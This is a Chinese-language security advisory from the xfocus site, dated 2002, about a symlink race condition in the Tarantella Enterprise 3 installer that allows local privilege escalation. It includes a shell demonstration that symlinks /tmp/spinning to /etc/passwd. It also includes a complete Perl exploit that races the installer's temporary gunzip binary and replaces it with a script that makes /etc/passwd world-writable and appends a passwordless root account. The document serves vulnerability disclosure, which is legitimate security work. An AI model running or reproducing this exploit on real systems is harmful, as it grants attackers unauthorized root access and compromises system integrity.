xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Tarantella Enterprise 3 存在符号连接漏洞


发布时间:2002-02-22
更新时间:2002-02-22
严重程度:
威胁程度:本地管理员权限
错误类型:竞争条件
利用方式:服务器模式

BUGTRAQ ID:4115

受影响系统
Tarantella Enterprise 3 3.01
Tarantella Enterprise 3 3.0
Tarantella Enterprise 3 3.10
Tarantella Enterprise 3 3.11
   - Caldera eServer 2.3
   - Caldera eServer 2.3.1
   - Compaq Tru64 4.0d
   - HP HP-UX 10.20
   - HP HP-UX 10.24
   - HP HP-UX 10.26
   - HP HP-UX 10.30
   - HP HP-UX 10.34
   - HP HP-UX 11.0
   - HP HP-UX 11.04
   - HP HP-UX 11.11
   - HP HP-UX 11.20
   - IBM AIX 4.3
   - IBM AIX 4.3.1
   - IBM AIX 4.3.2
   - IBM AIX 4.3.3
   - IBM AIX 5.1
   - RedHat Linux 6.2
   - RedHat Linux 7.0
   - RedHat Linux 7.1
   - RedHat Linux 7.2
   - S.u.S.E. Linux 6.3
   - S.u.S.E. Linux 6.4
   - S.u.S.E. Linux 7.0
   - S.u.S.E. Linux 7.1
   - S.u.S.E. Linux 7.2
   - S.u.S.E. Linux 7.3
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Tarantella Enterprise 3 3.20
   - Caldera eServer 2.3
   - Caldera eServer 2.3.1
   - HP HP-UX 11.0
   - HP HP-UX 11.04
   - HP HP-UX 11.11
   - HP HP-UX 11.20
   - IBM AIX 4.3.3
   - IBM AIX 5.1
   - RedHat Linux 6.2
   - RedHat Linux 7.0
   - RedHat Linux 7.1
   - RedHat Linux 7.2
   - S.u.S.E. Linux 6.3
   - S.u.S.E. Linux 6.4
   - S.u.S.E. Linux 7.0
   - S.u.S.E. Linux 7.1
   - S.u.S.E. Linux 7.2
   - S.u.S.E. Linux 7.3
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
详细描述
Tarantella Enterprise 3在安装过程中存在本地符号连接漏洞。

此漏洞可以用来权限提升,知道何时安装Tarantella的攻击者可以对'/tmp/spinning'建立符号连接到任意文件,当安装工具运行时,连接指向的文件将被改成全局可写。

问题存在于如下代码中:

<----snip---->
touch /tmp/spinning >/dev/null 2>&1
chmod 777 /tmp/spinning >/dev/null 2>&1
<----snip---->


如指向/etc/passwd,可使此文件全局可写。

测试代码
[lwc@misery] ln -s /etc/passwd  /tmp/spinning

等待ROOT把程序安装...

[lwc@misery] ls -l /etc/passwd
- -rwxrwxrwx    1 root     root         1094 Feb 18 22:39 /etc/passwd

----------------------------------------------------------------

#!/usr/bin/perl -w
#Another Exploit for tarantella enterprise 3 installation.
#Larry Cashdollar lwc@vapid.dhs.org 2/08/2002
#Exploits gunzip$$ binary being created in /tmp with perm 777
#http://online.securityfocus.com/bid/3966
#Experimental ext3 kernel mods for preventing/researching race conditions.
#http://vapid.dhs.org/tmp-patch-kernel-2.4.17.html


use strict;


`cat << -EOF- > root.sh
#!/bin/sh
chmod 777 /etc/passwd
echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
-EOF-`;


my $OUT = '';


while(!$OUT) {
        $OUT = `ps -ax |grep gunzip |grep -v grep`;
        print "Found $OUT\n";
}


my @args = split(' ',$OUT);
# Do this with one copy operation. This will break installation of tarantella.
# should test for -w on /etc/passwd stop and su - tarexp.
while(1) {
`cp root.sh $args[4]`;
}

解决方案
尚无

相关信息
参考:http://online.securityfocus.com/archive/1/256909
相关主页:http://www.tarantella.com/products/e3/